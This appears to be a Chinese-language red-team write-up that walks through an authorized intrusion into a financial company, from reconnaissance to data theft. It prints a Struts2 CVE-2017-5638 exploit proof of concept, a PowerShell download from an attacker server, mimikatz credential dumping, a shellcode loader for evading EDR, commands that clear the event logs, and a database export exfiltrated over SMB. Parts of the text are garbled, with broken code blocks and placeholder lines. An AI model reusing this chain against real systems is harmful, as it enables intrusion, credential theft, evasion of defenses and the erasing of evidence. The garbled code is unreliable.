一、用一个案例开场:攻破某公司内网的渗透之旅

一天早晨,一家金融公司联系了我们,称其安全团队发现了一些异常的网络行为。他们想通过一次红队演练,了解自身安全系统的薄弱环节。授权书签署完毕后,我们红队的任务是模拟一个真实的攻击者,测试从外网到内网的攻防对抗

目标公司采用了多层防护的传统企业架构:DMZ 放置 Web 应用,内网有 Active Directory (AD) 域环境,还有 EDR(终端检测与响应)系统在保护终端。任务是绕过这些防护,最终获取到公司财务服务器上的敏感数据。

接下来的内容,将复现我们当时的技术细节和攻击链:从外网信息收集到内网横向移动,再到最终的数据窃取。这仅供经过授权的测试和学习使用,切勿非法滥用。

---

二、数据猎手:外网信息收集的艺术

拿到目标域名后,第一步是收集尽可能多的信息。一个优秀的攻击者必然深谙情报的重要性,因为它决定了攻击的方向和效果。

1. 枚举子域名

目标公司的域名是 target-corp.com。我们需要枚举其子域,以确定潜在的攻击点:

<pre><code class="language-bash">subfinder -d target-corp.com -o subdomains.txt</code></pre>

接着对发现的子域名进行自动化存活检测:

<pre><code class="language-bash">httpx -l subdomains.txt -silent -o live_subdomains.txt</code></pre>

通过以上操作,我们发现了一个测试环境的子域:test.target-corp.com。通常,测试环境的配置较为宽松,这可能成为一个潜在突破点。

2. OSINT(开源情报收集)

使用工具 theHarvester 从搜索引擎和数据库里挖掘更深层次信息:

<pre><code class="language-bash">theHarvester -d target-corp.com -b google,bing,linkedin -f harvester_results</code></pre>

结果中,我们获取到了几名员工的邮箱地址,比如 [email protected] 和一些内部的 AWS S3 存储桶地址。

接下来,我们尝试通过 Have I Been Pwned 和其他密码泄露数据库,寻找这些邮箱是否关联过泄漏的密码,结果发现了 John 的一个弱密码:Company123!

---

三、突破第一道防线:外网渗透与 RCE 利用

1. 漏洞筛选

通过 Nmap 对测试环境的子域进行端口扫描,发现其开放了 80 和 443 端口。进一步解析页面后发现,这是一个基于 Java 的 Apache Struts2 应用,而我们已知老版本的 Struts2 存在命令执行漏洞(CVE-2017-5638)。

2. POC 编写

我们直接写一个 Python POC,利用此漏洞获取 Webshell:

<pre><code class="language-python">import requests

目标 URL

url = &quot;http://test.target-corp.com&quot;

黑客示意图

构造恶意 payload

headers = { &quot;Content-Type&quot;: &quot;%{(#nike=&#039;multipart/form-data&#039;).(#dm=&#039;java.lang.Runtime&#039;).(#dm.getRuntime().exec(&#039;id&#039;))}&quot;, }

发送请求

resp = requests.post(url, headers=headers)

打印结果

print(resp.text)</code></pre>

运行后成功返回了当前运行用户的权限信息,表明命令执行漏洞利用成功。

---

黑客示意图

四、深挖内网:权限提升与横向移动

1. 权限提升

在目标服务器上查看系统信息后,发现是一个 Windows Server 2012 R2 系统。我们上传了一个常用的提权工具 Windows Exploit Suggester

<pre><code class="language-powershell"># 上传并运行工具 Invoke-WebRequest -Uri &quot;http://attacker-server.com/Windows-Exploit-Suggester.exe&quot; -OutFile &quot;C:\\temp\\exploit-suggester.exe&quot; exploit-suggester.exe --update</code></pre>

工具提示系统存在一个未打补丁的本地提权漏洞(CVE-2019-1388)。我们通过 Metasploit 内置的提权模块直接利用它获取了 SYSTEM 权限。

2. 横向移动的经典套路

黑客示意图

为了横向移动,我们通过 mimikatz 抓取内存中的凭证:

<pre><code class="language-powershell"># 使用 Mimikatz 抓取内存凭证 mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonpasswords&quot; &quot;exit&quot;</code></pre>

得到了一些域用户的明文密码,其中包含一个拥有管理员权限的用户 jane.admin. 我们用这个账户的凭证登录到其他服务器,成功进入财务服务器。

---

黑客示意图

五、隐身技巧:绕过 EDR 和痕迹清理

1. 绕过终端检测

目标公司部署了 CrowdStrike 的 EDR 系统。为了绕过它的检测,我们采用以下策略:

  • 自写 Shellcode 加载器
  • Sleep 模式伪装

以下是我们用 C 语言写的自定义 Shellcode 加载器代码:

<pre><code class="language-c">#include &lt;windows.h&gt;

// 插入你的 Shellcode unsigned char shellcode[] = { / .... / };

int main() { void exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void()())exec)(); return 0; }</code></pre>

编译时使用 Mingw-w64,并对生成的二进制文件进行混淆和加壳处理(如用 UPX)。

2. 清理痕迹

在目标服务器上完成数据窃取后,我们执行以下操作:

  • 清理 Event Logs,删除访问记录:
  • <pre><code class="language-powershell"> wevtutil cl Application wevtutil cl Security wevtutil cl System `

  • 删除上传的工具和脚本:
  • `powershell Remove-Item -Path C:\temp\* -Recurse `

---

六、目标达成:窃取关键数据

进入财务服务器后,我们发现了一个 Oracle 数据库,并通过管理员凭证访问到数据库表。我们运行以下 SQL 语句导出数据: </code></pre>sql SELECT * FROM financial_data_dump INTO OUTFILE 'C:\\temp\\data.csv'; `

完成导出后,使用 SMB 将文件传回攻击机。

---

七、经验总结:红队演练的启示

这次演练让我深刻体会到:

  1. 情报收集决定上限:前期 OSINT 的质量直接影响攻击链的完整性。
  2. 漏洞利用后要快速行动:公司很可能有应急响应,因此时间窗口非常宝贵。
  3. 对抗技术是重中之重:混淆、流量伪装和 Anti-EDR 技术是红队的核心技能。

合法声明: 本文仅供授权的网络安全研究和测试使用,未授权请勿尝试!